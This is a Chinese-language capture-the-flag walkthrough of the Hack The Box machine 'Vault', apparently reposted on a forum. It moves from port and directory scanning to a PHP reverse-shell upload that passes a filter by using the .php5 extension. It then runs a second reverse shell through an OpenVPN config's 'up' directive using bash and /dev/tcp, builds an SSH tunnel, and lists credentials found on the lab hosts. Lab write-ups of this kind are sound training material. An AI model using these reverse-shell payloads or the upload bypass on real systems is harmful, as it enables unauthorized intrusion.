搜索

[26835] 2019-06-24_【HTB系列】靶机Vault的渗透测试详解

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-19
2019-06-24_【HTB系列】靶机Vault的渗透测试详解 【 H T B 系 列 】 靶 机 V a u l t 的 渗 透 测 试 详 解 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 6 - 2 4 收 录 于 话 题   # 靶 场 系 列 文 章   , 2 3 个 本 文 作 者 ： 是 大 方 子 （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） K a l i :   1 0 . 1 0 . 1 4 . 2 1 3 靶 机 地 址 ： 1 0 . 1 0 . 1 0 . 1 0 9     先 用 n m a p 探 测 靶 机   n m a p   - s C   - s T   - s V   1 0 . 1 0 . 1 0 . 1 0 9   扫 描 结 果 如 下 ： 看 看 8 0 端 口 有 什 么 东 西
我 们 用 g o b u s t e r 进 行 探 测 下 g o b u s t e r   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 1 0 9   - w   / u s r / s h a r e / w o r d l i s t s / d i r b u s t e r / d i r e c t o r y - l i s t - 2 . 3 - m e d i u m . t x t   - x   h t m l , p h p   - o   g o b u s t e r - s p a r k l a y s   - t   1 0 0   扫 了 很 久 没 有 扫 出 什 么 东 西   后 来 注 意 到 这 句 话 W e   a r e   p r o u d   t o   a n n o u n c e   o u r   f i r s t   c l i e n t :   S p a r k l a y s   ( S p a r k l a y s . c o m   s t i l l   u n d e r   c o n s t r u c t i o n )   尝 试 在 U r l 后 面 加 上 / s p a r k l a y ~ #   g o b u s t e r   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 1 0 9 / s p a r k l a y s   - w   / u s r / s h a r e / w o r d l i s t s / d i r b u s t e r / d i r e c t o r y - l i s t - 2 . 3 - m e d i u m . t x t   - x   h t m l , p h p   - t   1 0 0   - o   g o b u s t e r - s p a r k l a y s   我 们 打 开 l o g i n . p h p 打 开 下 a d m i n . p h p
尝 试 过 绕 过 以 及 常 见 帐 户 密 码 奇 怪 的 是 发 现 提 交 的 帐 户 密 码 竟 然 是 用 G E T 方 式 ， 觉 得 很 奇 怪 试 着 拦 截 登 陆 的 数 据 包 并 放 到 s q l m a p 跑 跑 看 ， 发 现 并 没 有 注 入 点 s q l m a p   - r   s p a r k l a y s - a d m i n - l o g i n . r e q   - - b a t c h   我 们 在 打 开 d e s i g n 是 F o r b i d d e n ， 那 么 这 个 目 录 下 我 们 在 g o b u s t e r 下 g o b u s t e r   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 1 0 9 / s p a r k l a y s / d e s i g n   - w   / u s r / s h a r e / w o r d l i s t s / d i r b u s t e r / d i r e c t o r y - l i s t - 2 . 3 - m e d i u m . t x t   - x   h t m l , p h p   - t   1 0 0   - o   g o b u s t e r - s p a r k l a y s - d e s i g n 打 开 u p l o a d . p h p 打 开 d e s i g n . h t m l 看 看
点 【 C h a n g e   L o g o 】 我 们 写 一 个 反 弹 的 s h e l l 进 行 上 传 < ? p h p s y s t e m ( ' r ,   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   1 0 . 1 0 . 1 4 . 2 1 3   1 3 3 7   > / t m p / f ' ) ; ? >   被 拒 绝 上 传 了 我 们 来 F U Z Z 下 运 行 上 传 的 后 缀 名 看 看 能 不 能 通 过 后 缀 名 进 行 绕 过 这 里 我 用 到 这 个 字 典 : h t t p s : / / g i t h u b . c o m / d a n i e l m i e s s l e r / S e c L i s t s / b l o b / m a s t e r / D i s c o v e r y / W e b - C o n t e n t / w e b - e x t e n s i o n s . t x t
这 里 我 用 b u r p 的 i n t r u d e r 模 块 进 行 f u z z 发 现 p h p 5 是 上 传 成 功 的 ， 我 们 把 s h e l l 改 成 s h e l l . p h p 5 再 次 上 传
然 后 我 们 k a l i   开 启 监 听 1 3 3 7 端 口 我 们 在 访 问 h t t p : / / 1 0 . 1 0 . 1 0 . 1 0 9 / s p a r k l a y s / d e s i g n / u p l o a d s / s h e l l . p h p 5 然 后 就 会 得 到 一 个 s h e l l 发 现 有 2 个 用 户 我 在 d a v e 的 D e s k t o p 目 录 下 面 看 到 一 个 s s h 文 件 C a t 下 得 到 一 下 内 容 d a v e ： D a v 3 t h e r a v 3 1 2 3     那 么 我 们 通 过 s s h 连 接 到 靶 机 上
我 们 在 看 看 d a v e 桌 面 上 的 其 他 文 件 第 一 个 k e y 还 不 知 道 是 什 么 意 思 就 先 留 着 。   第 二 个 S e r v e r s 应 该 是 对 应 服 务 器 的 I P 以 及 该 服 务 器 是 什 么   我 们 现 在 对 D N S 服 务 器 进 行 扫 描 看 看 ， 但 是 靶 机 上 面 没 有 n m a p   但 是 我 们 可 以 用 n c 当 作 端 口 扫 描 器 我 们 可 以 看 到 1 9 2 . 1 6 8 . 1 2 2 . 4 开 放 了 2 2 和 8 0 端 口 。 由 于 是 内 网 的 环 境 我 们 是 无 法 访 问 到 1 9 2 . 1 6 8 . 1 2 2 . 4 的 ， 所 以 我 们 需 要 做 一 个 隧 道 把 1 9 2 . 1 6 8 . 1 2 2 . 4 的 8 0 端 口 映 射 到 我 们 本 地 的 1 2 3 4 端 口   s s h   - L   1 2 3 4 : 1 9 2 . 1 6 8 . 1 2 2 . 4 : 8 0   d a v e @ 1 0 . 1 0 . 1 0 . 1 0 9  
点 击 【 C l i c k   h e r e   t o   m o d i f y   y o u r   D N S   S e t t i n g s 】 发 现 是 N o t   F o u n d 点 击 【 C l i c k   h e r e   t o   t e s t   y o u r   V P N   C o n f i g u r a t i o n 】
打 开 后 是 一 个 V P N 配 置 信 息 ， 并 允 许 我 们 测 试 我 们 的 V P N   这 里 我 找 一 遍 关 于 如 何 用 o v p n 配 置 文 件 反 弹 s h e l l 的 教 程 h t t p s : / / m e d i u m . c o m / t e n a b l e - t e c h b l o g / r e v e r s e - s h e l l - f r o m - a n - o p e n v p n - c o n f i g u r a t i o n - f i l e - 7 3 f d 8 b 1 d 3 8 d a   我 们 找 下 靶 机 的 内 网 I P 地 址 让 靶 机 监 听 9 0 0 2 端 口 r e m o t e   1 9 2 . 1 6 8 . 1 2 2 . 1 n o b i n d d e v   t u n   s c r i p t - s e c u r i t y   2 u p   " / b i n / b a s h   - c   ' / b i n / b a s h   - i   >   / d e v / t c p / 1 9 2 . 1 6 8 . 1 2 2 . 1 / 9 0 0 2   0 < & 1   2 > & 1 & ' "
先 点 【 U p d a t e   f i l e 】 然 后 再 点 【 T e s t   V P N 】   就 会 得 到 一 个 s h e l l 得 到 u s e r f l a g 接 下 来 是 获 取 r o o t   f l a g   我 们 在 d a v e 的 目 录 里 面 找 到 一 个 s s h 凭 借 d a v e ： d a v 3 g e r o u s 5 6 7   我 们 直 接 通 过 s s h 连 接 D N S 服 务 器
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理